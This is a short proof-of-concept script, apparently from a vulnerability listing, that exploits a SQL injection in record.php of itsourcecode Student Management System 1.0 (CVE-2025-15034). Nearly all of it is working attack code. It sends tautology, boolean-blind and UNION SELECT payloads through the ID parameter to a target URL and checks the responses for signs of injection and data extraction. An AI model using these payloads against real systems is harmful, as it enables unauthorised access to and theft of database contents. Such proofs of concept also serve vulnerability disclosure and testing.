CVE-2025-15034 itsourcecode学生管理系统 record.php SQL注入漏洞

import requests # CVE-2025-15034 SQL Injection PoC for itsourcecode Student Management System 1.0 # Target: record.php endpoint with vulnerable ID parameter TARGET_URL = "http://target-server/record.php" def sql_injection_test(): # Basic SQL injection test payload payload = "1' OR '1'='1" params = {"ID": payload} try: response = requests.get(TARGET_URL, params=params, timeout=10) print(f"Status Code: {response.status_code}") print(f"Response Length: {len(response.text)}") # Check for SQL error indicators if "sql" in response.text.lower() or "error" in response.text.lower(): print("[+] Potential SQL injection vulnerability detected!") else: print("[-] No obvious SQL injection indicators found") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") def extract_database_info(): # Boolean-based blind SQL injection to extract database version # This payload tests if the database is MySQL payload_true = "1' AND 1=1 -- -" payload_false = "1' AND 1=2 -- -" # Union-based injection for data extraction union_payload = "1' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 -- -" print(f"Testing union-based injection: {union_payload}") params = {"ID": union_payload} try: response = requests.get(TARGET_URL, params=params, timeout=10) if response.status_code == 200: print("[+] Payload executed - verify response for data extraction") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": print("CVE-2025-15034 SQL Injection PoC") print("Target: itsourcecode Student Management System 1.0") sql_injection_test() extract_database_info()